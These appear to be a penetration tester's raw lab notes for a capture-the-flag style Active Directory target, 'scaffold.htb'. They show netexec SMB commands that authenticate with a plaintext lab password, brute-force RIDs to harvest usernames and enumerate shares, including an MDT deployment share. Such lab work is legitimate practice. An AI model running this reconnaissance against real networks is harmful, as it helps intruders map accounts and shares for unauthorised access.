[adolfo]

*
nxc smb dc.scaffold.htb -u j.harris -p 'Harr1sHelpdesk2026!Breach'


nxc smb dc.scaffold.htb -u j.harris -p 'Harr1sHelpdesk2026!Breach' --rid-brute > userx.txt

grep SidTypeUser userx.txt |tr '\\' ' ' |awk '{print $7}' |tail -n 6 > users.txt


*
nxc smb dc.scaffold.htb -u j.harris -p 'Harr1sHelpdesk2026!Breach' --shares             
SMB        10.129.1.18    445    DC             
[*]Windows Server 2022 Build 20348 x64 (nameC) (domaincaffold.htb) (signing:True) (SMBv1:None) (Null Auth:True)                                                                                                                                                                     
SMB        10.129.1.18    445    DC              [+] scaffold.htb\j.harris:Harr1sHelpdesk2026!Breach
SMB        10.129.1.18    445    DC             
[*]Enumerated shares
SMB        10.129.1.18    445    DC              Share          Permissions    Remark
SMB        10.129.1.18    445    DC              -----          -----------    ------
SMB        10.129.1.18    445    DC              ADMIN$                          Remote Admin
SMB        10.129.1.18    445    DC              C$                              Default share
SMB        10.129.1.18    445    DC              DeploymentShare$                MDT Deployment Share
SMB        10.129.1.18    445    DC              IPC$            READ            Remote IPC
SMB        10.129.1.18    445    DC              NETLOGON        READ            Logon server share
SMB        10.129.1.18    445    DC              REMINST        READ            Windows Deployment Services Share
SMB        10.129.1.18    445    DC              SYSVOL          READ            Logon server share
SMB        10.129.1.18    445    DC              Y$                              Default share